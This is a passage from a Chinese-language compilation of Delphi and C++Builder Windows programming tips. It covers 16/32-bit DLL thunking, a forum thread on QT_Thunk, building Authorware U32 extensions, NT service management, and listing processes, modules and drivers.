mov sp,bp

pop bp

pop di

mov word(dest),di

pop di

mov word(dest+2),di

add sp,addit

xor ax,ax {return 0}

xor dx,dx

jmp dest

end;

end;

asm { here comes the thunking call! }

pop bp { restore BP }

mov bx, sp { bx = sp on entry }

sub sp, 8 { 2 additional words }

mov ax, ss:[bx] { ax = return address offst }

mov dx, ss:[bx+2] { dx = return address segment }

mov ss:[bx-8], ax

mov ss:[bx-6], dx

push ds { Save our DS }

push ss

push bx { Push pointer to args }

call MungeArgs { Munge the args }

pop es { es is our DS }

jmp CallProc32W { Jump to the call thunker }

end;

end;

{/-----------------------------------------------------

// Declare32

// This function is called directly from VB.

// It allocates and fills in a PROC32ENTRY structure

// so that we can call the 32 bit function.

//-----------------------------------------------------}

function Declare32(lpstrName,lpstrLib,lpstrArg:pchar):longint;

var

hinst:longint; { 32-bit DLL instance handle }

lpfunc:pointer; { 32-bit function pointer }

dwAddrXlat, { address xlat mask }

dwHwndXlat, { hwnd xlat mask }

nParams:longint; { number of params }

szBuffer:array[0..127] of char; { scratch buffer }

hinstKernel:word; { Instance handle of WOW KERNEL.DLL }

hinstKernel32:longint; { Instance handle of Win32 KERNEL32.DLL }

rg:record

lpstrName:pchar;

nparams:longint;

end;

olderror:boolean; { Was there an error before?}

begin

{/ First time called, get the addresses of the Generic Thunk

// functions. Raise VB runtime error if can't (probably because

// we're not running on NT). }

olderror:=Call32NTError;

Call32NTError:=true;

Declare32:=-1-lstrlen(lpstrArg);

if not fGotProcs then begin

hinstKernel:=LoadLibrary('KERNEL');

if (hinstKernel < 32) then exit;

@CallProc32W:=GetProcAddress(hinstKernel, 'CALLPROC32W');

@FreeLibrary32W:=GetProcAddress(hinstKernel, 'FREELIBRARY32W');

@LoadLibraryEx32W:=GetProcAddress(hinstKernel, 'LOADLIBRARYEX32W');

@GetProcAddress32W:=GetProcAddress(hinstKernel, 'GETPROCADDRESS32W');

FreeLibrary(hinstKernel);

if (@LoadLibraryEx32W<>nil) and (@GetProcAddress32W<>nil) and (@FreeLibrary32W<>nil) then begin

hinstKernel32:=LoadLibraryEx32W('kernel32', 0, 0);

@lpvGetLastError:=GetProcAddress32W(hinstKernel32, 'GetLastError');

FreeLibrary32W(hinstKernel);

end;

if (@CallProc32W=nil) or (@FreeLibrary32W=nil) or (@LoadLibraryEx32W=nil) or

(@GetProcAddress32W=nil) or (@lpvGetLastError=nil) then begin

exit;

end;

fGotProcs:=TRUE;

end;

{ If needed, allocate a PROC32ENTRY structure }

if (cRegistered = cAlloc) then begin

if (rgProc32Entry<>nil) then begin

globalunlock(rgProc32handle);

rgProc32handle:=GlobalReAlloc(rgProc32handle,

(cAlloc + CALLOCGROW) * sizeof(tPROC32ENTRY), GMEM_MOVEABLE);

rgProc32Entry:=Globallock(rgProc32handle);

end else begin

rgProc32handle:=GlobalAlloc(GMEM_MOVEABLE, CALLOCGROW * sizeof(tPROC32ENTRY));

rgProc32Entry:=Globallock(rgProc32handle);

end;

if (rgProc32Entry=nil) then exit;

inc(cAlloc,CALLOCGROW);

end;

{/ Process the arg list descriptor string to

// get the hwnd and addr translation masks, and the

// number of args. }

dwAddrXlat:=0;

dwHwndXlat:=0;

nParams:=lstrlen(lpstrArg);

if (nParams > 32) then exit; {Too many parameters}

while (lpstrArg[0]<>#0) do begin

dwAddrXlat:=dwAddrXlat shl 1;

dwHwndXlat:=dwHwndXlat shl 1;

case lpstrArg[0] of

'p':dwAddrXlat:=dwAddrXlat or 1;

'i': ;

'w':dwHwndXlat:=dwHwndXlat or 1;

else

exit;

end;

inc(lpstrArg);

end;

{/ Load the 32-bit library. }

hinst:=LoadLibraryEx32W(lpstrLib, 0, 0);

if (hinst=0) then begin

exit;

end;

{/ Get the 32-bit function address. Try the following three

// variations of the name (example: NAME):

// NAME

// _NAME@nn (stdcall naming convention: nn is bytes of args)

// NAMEA (Win32 ANSI function naming convention) }

lpfunc:=GetProcAddress32W(hinst, lpstrName);

if (lpfunc=nil) and (lstrlen(lpstrName) < 122) then begin

{ Change to stdcall naming convention. }

rg.lpstrName:=lpstrName;

rg.nparams:=nParams * 4;

wvsprintf(szBuffer, '_%s@%d', rg);

lpfunc:=GetProcAddress32W(hinst, szBuffer);

end;

if (lpfunc=nil) and (lstrlen(lpstrName) < 126) then begin

{ Add suffix "A" for ansi }

strcopy(szBuffer, lpstrName);

strcat(szBuffer, 'A');

lpfunc:=GetProcAddress32W(hinst, szBuffer);

end;

if (lpfunc=nil) then begin

FreeLibrary32W(hinst);

exit;

end;

{/ Fill in PROC32ENTRY struct and return index. }

rgProc32Entry^[cRegistered].hinst:=hinst;

rgProc32Entry^[cRegistered].lpfunc:=lpfunc;

rgProc32Entry^[cRegistered].dwAddrXlat:=dwAddrXlat;

rgProc32Entry^[cRegistered].dwHwndXlat:=dwHwndXlat;

rgProc32Entry^[cRegistered].nParams:=nParams;

Declare32:=cRegistered;

inc(cRegistered);

Call32NTError:=olderror; {If there was no error, set Call32NTErrorOccurred to false}

end;

function GetVDMPointer32W(name:pchar;Length:word):longint;

var lpGetVDMPointer32W:function(name:pchar;UINT:word):longint;

begin

@lpGetVDMPointer32W:=getProcAddress(GetModuleHandle('kernel'),'GetVDMPointer32W');

if @lpGetVDMPointer32W<>nil then

GetVDMPointer32W:=lpGetVDMPointer32W(name,Length)

else

GetVDMPointer32W:=0;

end;

{/-----------------------------------------------------

// WEP

// Called when DLL is unloaded. We free all the

// 32-bit DLLs we were using and clear the

// PROC32ENTRY list.

//-----------------------------------------------------}

var exitsave:tfarproc;

procedure cleanuplibs; far;

begin

Exitproc:=Exitsave;

dec(cRegistered);

while (cRegistered >= 0) do begin

FreeLibrary32W(rgProc32Entry^[cRegistered].hinst);

dec(cregistered);

end;

if (rgProc32Entry<>nil) then begin

globalunlock(rgProc32handle);

GlobalFree(rgProc32handle);

end;

rgProc32Entry:=NIL;

rgProc32handle:=0;

cRegistered:=0;

cAlloc:=0;

end;

begin

@Callproc32W:=nil;

@FreeLibrary32W:=nil;

@GetProcAddress32W:=nil;

@LoadLibraryEx32W:=nil;

@lpvGetLastError:=nil;

lpvGetCapture:=nil;

exitsave:=exitproc;

exitproc:=@cleanuplibs;

end.


32位程序调用16位DLL

32位程序调用16位DLL

如题，我也见过一些QT_Thunk的例子，但对各种参数类型的传递不很清楚，

试成功过无参数及整形参数的例子，但指针类型的参数一直失败，紧急求教

最好Mail给我例子,daixd@263.net

实际是我要在Delphi4中调用VC1.5生成的Dll

C的函数原形如

INT2 DllExport Init_search(char *sj_drivestr,char *ck_drivestr,char *basestr);

UINT2 DllExport Word_search(char *string,unsigned long search_result[],INT2 jsfs,char key);

等...

急，愿赠200分!

Keyes :

type

//Dos File header

DosFileHeader = record

ID: Word;

LengthMod: Word;

LengthDIV: Word;

Segments: Word;

ParagraphsHeader: Word;

MinHeader: Word;

MaxHeader: Word;

SPReg: Word;

CheckSumHeader: Word;

IPReg: Word;

CodeSeg: Word;

RelocTable: Word;

OverlayNumber: Word;

end;

//Windows File header

WindowsFileHeader = record

ID: longint;

Machine: Word;

NumberOfObjects: Word;

TimeDateStamp: DWord;

PointerToSymbolTable: LongInt;

NumberofSymbols: LongInt;

SizeOfOptionalHeader: Word;

Characteristics: Word;

//followed by advanced NT/Win95 Header (portable executable)

Magic: Word;

MajorVersion: Byte;

MinorVersion: Byte;

SizeOfCode: Longint;

SizeOfInitializedDate: Longint;

SizeOfUninitializedData: LongInt;

AddressOfEntryPoint: LongInt;

BaseOfCode: LongInt;

BaseOfData: LongInt;

ImageBase: LongInt;

SectionAlignment: LongInt;

FileAlignment: Longint;

OSMajor: Word;

OSMinor: Word;

UserMajor: Word;

UserMinor: Word;

OSMajorSub: Word;

OSMinorSub: Word;

Reserved1: LongInt;

SizeOfImage: Longint;

SizeOfHeader: Longint;

CheckSum: Longint;

Subsystem: word;

DLLCharacteristics: word;

SizeOfStackReserve: Longint;

SizeOfStackCommit: Longint;

SizeOfHeapReserve: longint;

SizeOfHeapCommit: Longint;

loaderFlags: Longint;

NumberofRVAandSizes: LongInt;

end;

//Entry-struct in object table

ObjectTableEntry = record

ObjectName: array[0..7] of Byte;

VirtualSize: Longint;

VirtualAddress: Longint;

SizeOfRawData: longInt;

PointerToRawData: longint;

PointerToRelocations: LongInt;

PointerToLineNumbers: LongInt;

NumberOfRelocations: Word;

NumberOfLineNumbers: Word;

Characteristics: LongInt;

end;

//Structure of export-table

ExportTableHeader = record

Characteristics: Longint;

TimeDateStamp: Longint;

MajorVersion: Word;

MinorVersion: Word;

Name: LongInt;

base: Longint;

NumberofFunctions: Longint;

NumberofNames: Longint;

pAddressofFunctions: Longint;

pAddressofNames: Longint;

pAddressOfNameOrdinals: Longint;

end;

//declarations for undocumented functions

fBeep = function (Frq, Time: Longint):boolean; stdcall;

fVxDCall = function (Service: Longint; Ax, CX: Longint): Longint; stdcall;

fLoadLibrary16 = function (LibName: PChar): THandle; stdcall;

fFreeLibrary16 = function (Handle: integer): integer; stdcall;

fGetProcAddress16 = function (handle: integer; ProcName: PChar): pointer; stdcall;

function GetProcAddress32(LibName: PChar; Ordinal: integer): pointer;

procedure QT_Thunk; cdecl; external kernel32 name 'QT_Thunk';

function GetProcAddress32(LibName: PChar; Ordinal: integer): pointer;

var

AddressOfFunction: ^Longint;

VirtualFunctionAddress: ^Longint;

WindowsHeaderOffset: ^Word;

ModuleHandle: THandle;

i: integer;

ObjectName: PChar;

FirstObjectAddress: Longint;

WindowsHeader: ^WindowsFileHeader;

ObjectEntry: ^ObjectTableEntry;

ExportObject: ^ObjectTableEntry;

ExportTable: ^ExportTableHeader;

begin

//Get module address (virtual) in memory

ModuleHandle := GetModuleHandle(LibName);

WindowsHeaderOffset := ptr(ModuleHandle +$3C);

WindowsHeader := ptr(ModuleHandle + WindowsHeaderOffset^);

//find export table

for i := 0 to WindowsHeader^.NumberofObjects-1 do

begin

FirstObjectAddress := ModuleHandle + WindowsHeaderOffset^ + SizeOf(WindowsHeader^) +

WindowsHeader^.NumberofRVAandSizes*8 + i*SizeOf(ObjectEntry^);

ObjectName := ptr(FirstObjectAddress);

if ObjectName = '.edata' then

begin

ExportObject := ptr(FirstObjectAddress);

ExportTable := ptr(ModuleHandle + ExportObject^.VirtualAddress);

end;

end;

//getting function address

VirtualFunctionAddress := ptr( ModuleHandle + ExportTable^.pAddressOfFunctions +

(Ordinal-ExportTable^.Base)*4);

//...and back

AddressOfFunction := ptr(WindowsHeader^.ImageBase + VirtualFunctionAddress^);

GetProcAddress32 := AddressOfFunction;

end;

amo (1999-10-25 11:03:39)

补充对Keyes的代码的说明：

The intention of this posting is to show a way of how to access 16 bit

DLLs out of an application developed in Delphi 2. A few days ago i

posted a message in delphi.misc to show the usage of undocumented

functions inside Kernel32.dll. Especially there are four of interest:

LoadLibrary16, GetProcAddress16, FreeLibrary16 and VxDCall0. With the

help of these functions, you can load and free 16bit libraries and get

the virtual address of a procedure inside a dll.

But there are some problems: kernel32 does not export undocumented

functions by name or ordinal. The only way to solve this was to read

and understand the internal PE(portable executable) format

specification. The PE format is used by 32bit apps and dlls. By

examining this format, you will find an export table with the absolute

offset of each function inside. Combined with the virtual module

address in memory, you get the virtual starting point of an

undocumented function. This does the function GetProcAdress32.

The next problem: 16bit functions/apps are using a different kind of

addressing (segment:offset) and have their own address space/stack

inside Win95, which "emulates" a 16bit os. To call a 16bit function

out of a 32bit application, you have to "build" a 16bit stack and to

do some other work ;-) . This does a kernel32 function named

'QT_Thunk'. With the help of some lines of inline assembler, you push

your arguments on the stack, push the virtual address of your 16bit

function in the register edx and call QT_Thunk. The return values can

be found in several registers. The example uses the

GetFreeSystemResources inside (the 16bit) user.exe and works fine.

Some comments: This source is free but without any guarantees! I would

like to get responses about the implementation of my code in yours.

The implementation of the thunk mechanism inside the asm statement was

taken from an example of Tempest Software, but i do not accept their

copyright, since their piece of code does *not* work and uses no

special algorithms (only some WIN API calls)! The information about

accessing undocumented functions was taken from Andrew Schulmans

"Undocumented Windows" and "Unautherized Windows". Great books! If you

have problems with getting this code to run mail me, i will send you a

copy of my complete source as attachment.

dxd (1999-10-27 9:27:20)

谁能写的明白些？

如是C函数INT2 DllExport Init_search(char *sj_drivestr,char *ck_drivestr,char *basestr);的Delphi描述如下

var

hInst16: THandle;

GFSR: Pointer;

function D16_HR_init_search(IndexDir,CkDir,BaseDir:string):Integer;

var

pp:DWORD;

p:Pointer; fm:THandle;

ThunkTrash: array[0..$20] of Word;

ans:WORD;

iDir,cDir,bDIr:PChar;

hi1,hi2,hi3,lo1,lo2,lo3:WORD;

begin

Result:=-1;

if Win32Platform = VER_PLATFORM_WIN32_NT then Exit;

StrPcopy( iDir,IndexDir );

StrPcopy( cDir,CKDir );

StrPcopy( bDir,BaseDir );

ThunkTrash[0] := hInst16;

hInst16 := LoadLibrary16('SAPI16.DLL');

if hInst16 < 32 then

raise Exception.Create('Cannot load SAPI16.DLL');

// FreeLibrary16(hInst16);

GFSR := GetProcAddress16(hInst16, 'HR_init_search');

if GFSR = nil then

raise Exception.Create('Get address Error of HR_init_search');

hi1 := WORD((DWORD(iDir) shr 16) and $ffff );

lo1 := WORD(DWORD(iDir) and $ffff );

hi2 := WORD((DWORD(CDir) shr 16) and $ffff );

lo2 := WORD(DWORD(CDir) and $ffff );

hi3 := WORD((DWORD(BDir) shr 16) and $ffff );

lo3 := WORD(DWORD(BDir) and $ffff );

asm //Thunk down to USER.EXE

push hi1

push lo1

push hi2

push lo2

push hi3

push lo3

mov edx, GFSR { load 16-bit procedure pointer }

call QT_Thunk { call thunk }

mov ans, ax { save the result }

end;

{ Free the library }

FreeLibrary16(hInst16);

if ans > 0 then Result:=0;

end;

执行总是出错，请诊治!

Another_eYes (2000-9-4 21:48:09)

瞎猜的:

32位的call指令将32位返回地址地址压栈. 而16位程序取参数一般是从[bp-2]开始的

而此时真正的参数应当在[ebp-4]位置, 故出错.

所以我猜想可否call指令替换成

PUSH ESP // ESP能直接压栈吗? 忘了

MOV EBP, ESP

ADD EBP,2

JMP QT_Thunk

Another_eYes (2000-9-4 21:55:48)

错了错了, 记错了. 呵呵 ESP是堆栈寄存器不是指令寄存器.

而且上述理解有误.

问题应当出在返回后的堆栈上. CALL时32位压栈, 16位程序的RET只出栈了16位,

因此返回后堆栈需要调整

CALL后加一句

POP DX (或者 ADD SP, 2)

试试


监测DLL是否已经Load

如何监测某个DLL已经Load到内存？或者你不想重新Load一个DLL，而愿意使用原来的DLL的handle？

使用GetModuleHandle('DLL_FileName')即可，这个函数返回一个句柄，你可以使用这个句柄~~~~~~~：），不过你在使用这个函数之后，最好用GetModuleFilaName()验证一下文件名，因为GetModuleHandle有可能获得一个奇怪的匹配项目：Exe文件。


用DELPHI开发AUTHORWARE的u32

用DELPHI开发AUTHORWARE的u32

泉州市德化县电力公司供电公司

苏子彦

---- 函数功能是AUTHORWARE最突出的特征，利用AUTHORWARE提供的系统函数能够完成一些复杂的控制任务。对于一些特殊的任务，AUTHORWARE允许用户自己定义函数，使得程序设计具有更大的灵活性。对于windows系统来说，自定义函数是以动态链接库（DLL）文件存储的，因此存储自定义函数的文件与当前交互式应用程序文件是分立。本文介绍一下如何用DELPHI开发AUTHORWARE的自定义函数-32 bit U32，本文以DELPHI开发可在AUTHORWARE中调用显示message box的U32为例子。虽然AUTHORWARE ATTAIN 5.0已提供了使用knowledge objects 显示message box的功能，但在4.0以前的版本无此功能，这就可用其它语言开发自己的U32，在AUTHORWARE中调用。

---- 开发U32可分为五个步骤：

创建工程文件

创建函数

创建资源文件

编译资源文件

创建u32

---- 1.创建工程文件

---- 在file/new选择dll生成一个dll文件，在file/add to project….加入一个包含U32函数代码的单元myunit.pas(此单元在第二步创建函数中详细说明)在uses后必须声明所有可在authorware中调用的函数。例如：

exports MsgBox;

最终的代码如下所似：

library authorware;

uses

SysUtils,Classes,

myunit in 'myunit.pas'；

exports MsgBox;

begin

end.

---- 2.创建函数

---- 当你创建一个函数可用在authorware中，必须声明为exported 函数在关键字interface 后面加入代码如下：

interface

uses ,Dialogs,SysUtils,windows;

function MsgBox(msg:string;mbType:

Word;title:string):WORD;export;

Delphi32 需要添加{$ifdef WIN32} stdcall ;

($endif} 在函数声明后面如：

function MsgBox(msg:string;mbType:

Word;title:string):WORD;export;

{$ifdef WIN32} stdcall ; {$endif}

现在我们为函数加入代码在implementation后面：

const

OKOnly=0;

OKCancel=1;

AbortRetryIgnore=2;

YesNoCancel=3;

YesNo=4;

RetryCancel=5;

Critical=16;

Question=32;

Excalamation=48;

Information=64;

DefaultButton1=0;

DefaultButton2=256;

DefaultButton3=512;

ApplicationModal=0;

SystemModal=4096;

function StrToPch(Str:string):PChar;

var a:PChar;

begin

a:=StrAlloc(Length(Str)+1);

StrPCopy(a,Str);

StrToPch:=a;

end;

function MsgBox(msg:string;mbType:

Word;title:string):WORD;

VAR

LpText,lpCaption:Pchar;

h:HWND;

begin

lpText:=StrToPch(title);

lpCaption:=StrToPch(msg);

h:=GetActiveWindow();

MsgBox:=MessageBox(h,lpText,lpCaption,mbType);

end;

---- 3.创建资源文件

---- 最后我们要做的事情是创建资源文件，这样authorware才能直接调用函数。必须先创建.rc文件然后编译成.res文件。使用记事本创建.rc的资源文件。加入如下定义：我将在后面解释这些定义：

1 DLL_HEADER PRELOAD DISCARDABLE

BEGIN

"MsgBox0",

"0"

END

msgbox DLL_HEADER PRELOAD DISCARDABLE

BEGIN

"0",

"W0",

"SWS0",

"Result := MsgBox(msg,mbType,title)",

"",

"show messagebox0",

END

---- 如果一个 dll文件是按authorware调用转换格式编写,则存储于其中的所有自定义函数的目录也包含在该文件中,并且authorware在调用这些函数时所需的信息也包含在内,其目录称为目录源,而且目录源中的每一个函数有相应的定义,这些定义称为定义源。具体格式如下：

---- 1. 目录源

目录源的格式如下所示：

| DLL_HEADER PRELOAD DISCARDABLE

BEGIN

“functionname [=exportname]0”,

“functionname [=exportname]0”,

….

“functionname [=exportname]0”,

“0”

END

① | 是目录源标识符；

② DLL_HEADER 是用于创建描述性文字的起始标记；

③ BEGIN 表示该目录源文件的开始，

而END则表示该目录源的结尾。

---- 2．自定义函数的定义格式

---- 对于目录源中每一函数都要有一个相应的定义格式，具体格式如下所示：

functionname DLL_HEADER PRELOAD DISCARDABLE

BEGIN

“dllfilename0”

“returnvalue0”

“argumentlist0”

“description>”,

“description”,

…

“description0”

END

① functionname 指的是在目录源中以定义的函数名；

② DLL filename 表示存储函数的dll文件名；

③ Returnvalue 表示该函数返回值类型；

④ Argumentlist 表示该函数中的参数类型列表；

⑤ Description 表示该函数描述性正文。

描述性正文可以有很多行组成，但最后一行必须加上“0”结束符。

---- 3．参数类型描述格式

---- 参数类型用一个大写字母表示，每一个字母表示一个参数格式，如下表所示：

描述格式 类型 描述格式 类型

C Signed char P Far pointer

B Unsigned char F Float

I Signed short integer D Double

W Unsignedshort integer S Handle

L Signed long integer V Void

U Unsigned long integer

---- 4.编译资源文件

---- 把.rc的资源文件保存为a3w.rc(注意不能保存文件名与dll文件名相同否则delphi自己的资源文件会覆盖它),delphi自带的编译文件为brc32.exe,在dos模式下运行:

---- c:-r a3w.rc -foa3w32.res

---- 现在把资源文件加入工程中,返回delphi在view/projcet source打开工程文件在

exports MsgBox;后可看到:

{$R *.RES}

删除该行加入: {$ifdef WIN32}

{$R a3w32.res}

{$else}

{$R a3w16.res}

{$endif}

编译工程文件.

---- 5.创建u32

---- 我们已经创建了32bit的authorware.dll,把它改名成authorware.u32.现在已成功创建了U32.在authorware中调用authorware.u32在运算设计按钮添加代码:

---- MsgBox("警告框",1+32+0+4096,"是否退出本系统?")


EXE输出函数

EXE输出函数

Exe可以调用Exe的输出,不知道以前怎么一直试都不行, 现在一部到位:

program TestExe; //输出函数的Exe

uses

Windows;

procedure Test(p: PChar); export; stdcall;

begin

MessageBox(0, p, 'Test', MB_OK);

end;

exports

Test;

begin

end.

procedure TForm1.Button1Click(Sender: TObject); //另一APP中调用

var

lib: THandle;

Test: procedure(p: PChar); stdcall;

begin

lib := LoadLibrary('TestExe.exe');

if lib = 0 then

ShowError('Cannot load the module')

else

begin

@Test := GetProcAddress(lib, 'Test');

if @Test = nil then

ShowError('Cannot GetProcAddress')

else Test('This is a test');

FreeLibrary(lib);

end;

end;


判断一个服务是否已经运行

check if a service is running?

uses

WinSvc;

function ServiceGetStatus(sMachine, sService: PChar): DWORD;

{******************************************}

{*** Parameters: ***}

{*** sService: specifies the name of the service to open

{*** sMachine: specifies the name of the target computer

{*** ***}

{*** Return Values: ***}

{*** -1 = Error opening service ***}

{*** 1 = SERVICE_STOPPED ***}

{*** 2 = SERVICE_START_PENDING ***}

{*** 3 = SERVICE_STOP_PENDING ***}

{*** 4 = SERVICE_RUNNING ***}

{*** 5 = SERVICE_CONTINUE_PENDING ***}

{*** 6 = SERVICE_PAUSE_PENDING ***}

{*** 7 = SERVICE_PAUSED ***}

{******************************************}

var

SCManHandle, SvcHandle: SC_Handle;

SS: TServiceStatus;

dwStat: DWORD;

begin

dwStat := 0;

// Open service manager handle.

SCManHandle := OpenSCManager(sMachine, nil, SC_MANAGER_CONNECT);

if (SCManHandle > 0) then

begin

SvcHandle := OpenService(SCManHandle, sService, SERVICE_QUERY_STATUS);

// if Service installed

if (SvcHandle > 0) then

begin

// SS structure holds the service status (TServiceStatus);

if (QueryServiceStatus(SvcHandle, SS)) then

dwStat := ss.dwCurrentState;

CloseServiceHandle(SvcHandle);

end;

CloseServiceHandle(SCManHandle);

end;

Result := dwStat;

end;

function ServiceRunning(sMachine, sService: PChar): Boolean;

begin

Result := SERVICE_RUNNING = ServiceGetStatus(sMachine, sService);

end;

// Check if Eventlog Service is running

procedure TForm1.Button1Click(Sender: TObject);

begin

if ServiceRunning(nil, 'Eventlog') then

ShowMessage('Eventlog Service Running')

else

ShowMessage('Eventlog Service not Running')

end;

{

Windows 2000 and earlier: All processes are granted the SC_MANAGER_CONNECT,

SC_MANAGER_ENUMERATE_SERVICE, and SC_MANAGER_QUERY_LOCK_STATUS access rights.

Windows XP: Only authenticated users are granted the SC_MANAGER_CONNECT,

SC_MANAGER_ENUMERATE_SERVICE,

and SC_MANAGER_QUERY_LOCK_STATUS access rights.

}

{

Do not use the service display name (as displayed in the services

control panel applet.) You must use the real service name, as

referenced in the registry under

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services

}


管理服务

manage, control NT-Services?

{

The following class TServiceManager can be used to manage your NT-Services.

You can do things like start, stop, pause or querying a services status.

}

// Thanks for this one to Frederik Schaller as well - it's a co-work }

unit ServiceManager;

interface

uses

SysUtils, Windows, WinSvc;

type

TServiceManager = class

private

{ Private declarations }

ServiceControlManager: SC_Handle;

ServiceHandle: SC_Handle;

protected

function DoStartService(NumberOfArgument: DWORD; ServiceArgVectors: PChar): Boolean;

public

{ Public declarations }

function Connect(MachineName: PChar = nil; DatabaseName: PChar = nil;

Access: DWORD = SC_MANAGER_ALL_ACCESS): Boolean; // Access may be SC_MANAGER_ALL_ACCESS

function OpenServiceConnection(ServiceName: PChar): Boolean;

function StartService: Boolean; overload; // Simple start

function StartService(NumberOfArgument: DWORD; ServiceArgVectors: PChar): Boolean;

overload; // More complex start

function StopService: Boolean;

procedure PauseService;

procedure ContinueService;

procedure ShutdownService;

procedure DisableService;

function GetStatus: DWORD;

function ServiceRunning: Boolean;

function ServiceStopped: Boolean;

end;

implementation

{ TServiceManager }

function TServiceManager.Connect(MachineName, DatabaseName: PChar;

Access: DWORD): Boolean;

begin

Result := False;

{ open a connection to the windows service manager }

ServiceControlManager := OpenSCManager(MachineName, DatabaseName, Access);

Result := (ServiceControlManager <> 0);

end;

function TServiceManager.OpenServiceConnection(ServiceName: PChar): Boolean;

begin

Result := False;

{ open a connetcion to a specific service }

ServiceHandle := OpenService(ServiceControlManager, ServiceName, SERVICE_ALL_ACCESS);

Result := (ServiceHandle <> 0);

end;

procedure TServiceManager.PauseService;

var

ServiceStatus: TServiceStatus;

begin

{ Pause the service: attention not supported by all services }

ControlService(ServiceHandle, SERVICE_CONTROL_PAUSE, ServiceStatus);

end;

function TServiceManager.StopService: Boolean;

var

ServiceStatus: TServiceStatus;

begin

{ Stop the service }

Result := ControlService(ServiceHandle, SERVICE_CONTROL_STOP, ServiceStatus);

end;

procedure TServiceManager.ContinueService;

var

ServiceStatus: TServiceStatus;

begin

{ Continue the service after a pause: attention not supported by all services }

ControlService(ServiceHandle, SERVICE_CONTROL_CONTINUE, ServiceStatus);

end;

procedure TServiceManager.ShutdownService;

var

ServiceStatus: TServiceStatus;

begin

{ Shut service down: attention not supported by all services }

ControlService(ServiceHandle, SERVICE_CONTROL_SHUTDOWN, ServiceStatus);

end;

function TServiceManager.StartService: Boolean;

begin

Result := DoStartService(0, '');

end;

function TServiceManager.StartService(NumberOfArgument: DWORD;

ServiceArgVectors: PChar): Boolean;

begin

Result := DoStartService(NumberOfArgument, ServiceArgVectors);

end;

function TServiceManager.GetStatus: DWORD;

var

ServiceStatus: TServiceStatus;

begin

{ Returns the status of the service. Maybe you want to check this

more than once, so just call this function again.

Results may be: SERVICE_STOPPED

SERVICE_START_PENDING

SERVICE_STOP_PENDING

SERVICE_RUNNING

SERVICE_CONTINUE_PENDING

SERVICE_PAUSE_PENDING

SERVICE_PAUSED }

Result := 0;

QueryServiceStatus(ServiceHandle, ServiceStatus);

Result := ServiceStatus.dwCurrentState;

end;

procedure TServiceManager.DisableService;

begin

{ Implementation is following... }

end;

function TServiceManager.ServiceRunning: Boolean;

begin

Result := (GetStatus = SERVICE_RUNNING);

end;

function TServiceManager.ServiceStopped: Boolean;

begin

Result := (GetStatus = SERVICE_STOPPED);

end;

function TServiceManager.DoStartService(NumberOfArgument: DWORD;

ServiceArgVectors: PChar): Boolean;

var

err: integer;

begin

Result := WinSvc.StartService(ServiceHandle, NumberOfArgument, ServiceArgVectors);

end;

end.


从内存中卸载DLL

remove a Dll from memory?

function KillDll(aDllName: string): Boolean;

var

hDLL: THandle;

aName: array[0..10] of char;

FoundDLL: Boolean;

begin

StrPCopy(aName, aDllName);

FoundDLL := False;

repeat

hDLL := GetModuleHandle(aName);

if hDLL = 0 then

Break;

FoundDLL := True;

FreeLibrary(hDLL);

until False;

if FoundDLL then

MessageDlg('Success!', mtInformation, [mbOK], 0)

else

MessageDlg('DLL not found!', mtInformation, [mbOK], 0);

end;


列出WINDOWS系统内存中在使用的所有.DLL名？

#include <vcl.h>

#pragma hdrstop

#include "ListUnit1.h"

//---------------------------------------------------------------------------

#pragma package(smart_init)

#pragma resource "*.dfm"

TForm1 *Form1;

//---------------------------------------------------------------------------

__fastcall TForm1::TForm1(TComponent* Owner)

: TForm(Owner)

{

}

//---------------------------------------------------------------------------

#include <tlHelp32.h>

int ProcessID[1024]; // 存放进程标识号

void __fastcall TForm1::Button1Click(TObject *Sender)

{ // 显示进程列表

HANDLE ProcessListHandle=

CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

// 产生进程列表句柄

ListBox1->Items->Clear();

int i=0;

PROCESSENTRY32 ProcessStruct;

ProcessStruct.dwSize=sizeof(ProcessStruct);

int yn=Process32First(ProcessListHandle,

&ProcessStruct);

while (yn!=0)

{

ProcessID[i++]=ProcessStruct.th32ProcessID;

ListBox1->Items->Add(ProcessStruct.szExeFile);

yn=Process32Next(ProcessListHandle,&ProcessStruct);

}

}

//---------------------------------------------------------------------------

void __fastcall TForm1::Button2Click(TObject *Sender)

{ // 强行中止进程

int i=ListBox1->ItemIndex;

if (i!=-1)

{

int pID=ProcessID[i];

HANDLE h=OpenProcess(PROCESS_ALL_ACCESS,true,pID);

DWORD ExitCode;

GetExitCodeProcess(h,&ExitCode); // 取中止码

TerminateProcess(h,ExitCode); // 强行中止

Sleep(100); // 延时100ms

Button1->Click(); // 重新列表

}

}

//---------------------------------------------------------------------------

void __fastcall TForm1::FormCreate(TObject *Sender)

{

Button1->Click();

}

int ModuleID[1024]; // 存放DLL标识号

void __fastcall TForm1::Button3Click(TObject *Sender)

{ // 显示某进程的所有DLL名

int i=ListBox1->ItemIndex;

if (i!=-1)

{

int pID=ProcessID[i]; // 列这个进程的DLL名

HANDLE ModuleListHandle=

CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,pID);

ListBox2->Items->Clear();

int j=0;

MODULEENTRY32 ModuleStruct;

ModuleStruct.dwSize=sizeof(ModuleStruct);

int yn=Module32First(ModuleListHandle,

&ModuleStruct);

while (yn!=0)

{

ModuleID[j++]=ModuleStruct.th32ModuleID;

ListBox2->Items->Add(ModuleStruct.szExePath);

yn=Module32Next(ModuleListHandle,&ModuleStruct);

}

}

}


卸掉一个.DLL

若强行杀掉一个.exe,它的私有.DLL就自动释放了,

若单独强行卸掉某进程的某一个.DLL，API怎么做？

每一个Module都有一个局柄，利用FreeLibrary试一下，刊可不可以释放，获得

DLL局柄的方法在上面我提供的源程序中有（http://www.applevb.com/sourcecode/moudle.zip

）

FreeLibrary只释放自已进程的.DLL,人家的可能就不行了；FreeLibrary()好象无效,结果返回总是0，说明不成功

那么这个呢？

FreeLibraryAndExitThread

FreeLibraryAndExitThread

参数中的线程句柄与退出码没法知道，也不行


列出系统里面有哪些驱动程序加载

obtain a list of loaded drivers under Windows NT?

{

This code takes advantage of the undocumented NtQuerySystemInformation

API to obtain a list of loaded drivers under Windows NT.

}

const

DRIVER_INFORMATION = 11;

type

TPDWord = ^DWORD;

TDriverInfo = packed record

Address: Pointer;

Unknown1: DWORD;

Unknown2: DWORD;

EntryIndex: DWORD;

Unknown4: DWORD;

Name: array[0..MAX_PATH + 3] of Char;

end;

var

NtQuerySystemInformation: function(infoClass: DWORD;

buffer: Pointer;

bufSize: DWORD;

returnSize: TPDword): DWORD; stdcall = nil;

